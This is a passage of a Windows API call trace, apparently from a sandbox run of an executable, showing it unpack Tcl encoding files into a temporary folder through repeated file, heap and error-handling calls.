| out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macGreek.enc") returned 71 [0036.805] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macGreek.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macgreek.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.805] GetLastError () returned 0x2 [0036.805] SetLastError (dwErrCode=0x2) [0036.805] GetLastError () returned 0x2 [0036.805] SetLastError (dwErrCode=0x2) [0036.805] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macGreek.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macGreek.enc", lpFilePart=0x0) returned 0x46 [0036.805] GetLastError () returned 0x2 [0036.805] SetLastError (dwErrCode=0x2) [0036.805] GetLastError () returned 0x2 [0036.805] SetLastError (dwErrCode=0x2) [0036.805] GetLastError () returned 0x2 [0036.805] SetLastError (dwErrCode=0x2) [0036.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macGreek.enc") returned 71 [0036.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macGreek.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macgreek.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.806] GetFileType (hFile=0x10c) returned 0x1 [0036.806] htonl (hostlong=0x45040000) returned 0x445 [0036.806] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.806] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x445, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x445, lpOverlapped=0x0) returned 1 [0036.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.807] CloseHandle (hObject=0x10c) returned 1 [0036.808] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.808] htonl (hostlong=0x30000000) returned 0x30 [0036.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.808] GetFileType (hFile=0x10c) returned 0x1 [0036.808] htonl (hostlong=0x11585600) returned 0x565811 [0036.808] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b0811, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.808] htonl (hostlong=0x2d020000) returned 0x22d [0036.808] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22d) returned 0x550600 [0036.808] htonl (hostlong=0x2d020000) returned 0x22d [0036.809] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.809] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.809] htonl (hostlong=0x47040000) returned 0x447 [0036.809] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x447) returned 0x55e278 [0036.809] htonl (hostlong=0x2d020000) returned 0x22d [0036.809] htonl (hostlong=0x47040000) returned 0x447 [0036.809] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.809] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.809] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.809] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.809] CloseHandle (hObject=0x10c) returned 1 [0036.809] GetLastError () returned 0x0 [0036.809] SetLastError (dwErrCode=0x0) [0036.809] GetLastError () returned 0x0 [0036.809] SetLastError (dwErrCode=0x0) [0036.809] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.809] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.809] GetFileType (hFile=0x10c) returned 0x1 [0036.809] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.809] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.809] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.809] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.809] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.809] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.809] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.809] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.810] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.810] CloseHandle (hObject=0x10c) returned 1 [0036.810] GetLastError () returned 0x0 [0036.810] SetLastError (dwErrCode=0x0) [0036.810] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.810] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.810] GetFileType (hFile=0x10c) returned 0x1 [0036.810] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.810] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.810] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.810] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.810] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.810] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.810] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.810] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.810] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.810] CloseHandle (hObject=0x10c) returned 1 [0036.810] GetLastError () returned 0x0 [0036.810] SetLastError (dwErrCode=0x0) [0036.810] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macIceland.enc") returned 73 [0036.810] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macIceland.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\maciceland.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.810] GetLastError () returned 0x2 [0036.810] SetLastError (dwErrCode=0x2) [0036.810] GetLastError () returned 0x2 [0036.810] SetLastError (dwErrCode=0x2) [0036.811] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macIceland.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macIceland.enc", lpFilePart=0x0) returned 0x48 [0036.811] GetLastError () returned 0x2 [0036.811] SetLastError (dwErrCode=0x2) [0036.811] GetLastError () returned 0x2 [0036.811] SetLastError (dwErrCode=0x2) [0036.811] GetLastError () returned 0x2 [0036.811] SetLastError (dwErrCode=0x2) [0036.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macIceland.enc") returned 73 [0036.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macIceland.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\maciceland.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.811] GetFileType (hFile=0x10c) returned 0x1 [0036.811] htonl (hostlong=0x47040000) returned 0x447 [0036.811] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.811] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x447, lpOverlapped=0x0) returned 1 [0036.812] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.812] CloseHandle (hObject=0x10c) returned 1 [0036.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.813] htonl (hostlong=0x30000000) returned 0x30 [0036.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.813] GetFileType (hFile=0x10c) returned 0x1 [0036.813] htonl (hostlong=0x3e5a5600) returned 0x565a3e [0036.813] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b0a3e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.813] htonl (hostlong=0x5a450000) returned 0x455a [0036.813] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x455a) returned 0x560088 [0036.813] htonl (hostlong=0x5a450000) returned 0x455a [0036.813] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.813] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.814] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.814] htonl (hostlong=0x9cbb0000) returned 0xbb9c [0036.814] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbb9c) returned 0x5645f0 [0036.814] htonl (hostlong=0x5a450000) returned 0x455a [0036.814] htonl (hostlong=0x9cbb0000) returned 0xbb9c [0036.814] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x570198 [0036.815] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x570198 | out: hHeap=0x530000) returned 1 [0036.815] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.816] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.816] CloseHandle (hObject=0x10c) returned 1 [0036.816] GetLastError () returned 0x0 [0036.816] SetLastError (dwErrCode=0x0) [0036.816] GetLastError () returned 0x0 [0036.816] SetLastError (dwErrCode=0x0) [0036.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.816] GetFileType (hFile=0x10c) returned 0x1 [0036.816] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.816] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.816] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.816] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.816] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.817] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.817] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.817] CloseHandle (hObject=0x10c) returned 1 [0036.817] GetLastError () returned 0x0 [0036.817] SetLastError (dwErrCode=0x0) [0036.817] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.817] GetFileType (hFile=0x10c) returned 0x1 [0036.817] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.817] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.817] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.817] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.817] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.817] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.817] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.817] CloseHandle (hObject=0x10c) returned 1 [0036.817] GetLastError () returned 0x0 [0036.817] SetLastError (dwErrCode=0x0) [0036.817] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macJapan.enc") returned 71 [0036.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macJapan.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macjapan.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.818] GetLastError () returned 0x2 [0036.818] SetLastError (dwErrCode=0x2) [0036.818] GetLastError () returned 0x2 [0036.818] SetLastError (dwErrCode=0x2) [0036.818] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macJapan.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macJapan.enc", lpFilePart=0x0) returned 0x46 [0036.818] GetLastError () returned 0x2 [0036.818] SetLastError (dwErrCode=0x2) [0036.818] GetLastError () returned 0x2 [0036.818] SetLastError (dwErrCode=0x2) [0036.818] GetLastError () returned 0x2 [0036.818] SetLastError (dwErrCode=0x2) [0036.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macJapan.enc") returned 71 [0036.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macJapan.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macjapan.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.818] GetFileType (hFile=0x10c) returned 0x1 [0036.818] htonl (hostlong=0x9cbb0000) returned 0xbb9c [0036.818] WriteFile (in: hFile=0x10c, lpBuffer=0x5645f0*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5645f0*, lpNumberOfBytesWritten=0x4fcd00*=0xb000, lpOverlapped=0x0) returned 1 [0036.820] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.820] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xb9c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9c, lpOverlapped=0x0) returned 1 [0036.820] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.820] CloseHandle (hObject=0x10c) returned 1 [0036.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5645f0 | out: hHeap=0x530000) returned 1 [0036.823] htonl (hostlong=0x30000000) returned 0x30 [0036.823] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.823] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.823] GetFileType (hFile=0x10c) returned 0x1 [0036.823] htonl (hostlong=0x989f5600) returned 0x569f98 [0036.823] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b4f98, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.823] htonl (hostlong=0x2d020000) returned 0x22d [0036.823] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22d) returned 0x550600 [0036.824] htonl (hostlong=0x2d020000) returned 0x22d [0036.824] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.824] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.824] htonl (hostlong=0x45040000) returned 0x445 [0036.824] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x445) returned 0x55e278 [0036.824] htonl (hostlong=0x2d020000) returned 0x22d [0036.824] htonl (hostlong=0x45040000) returned 0x445 [0036.824] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.825] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.825] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.825] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.825] CloseHandle (hObject=0x10c) returned 1 [0036.825] GetLastError () returned 0x0 [0036.825] SetLastError (dwErrCode=0x0) [0036.825] GetLastError () returned 0x0 [0036.825] SetLastError (dwErrCode=0x0) [0036.825] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 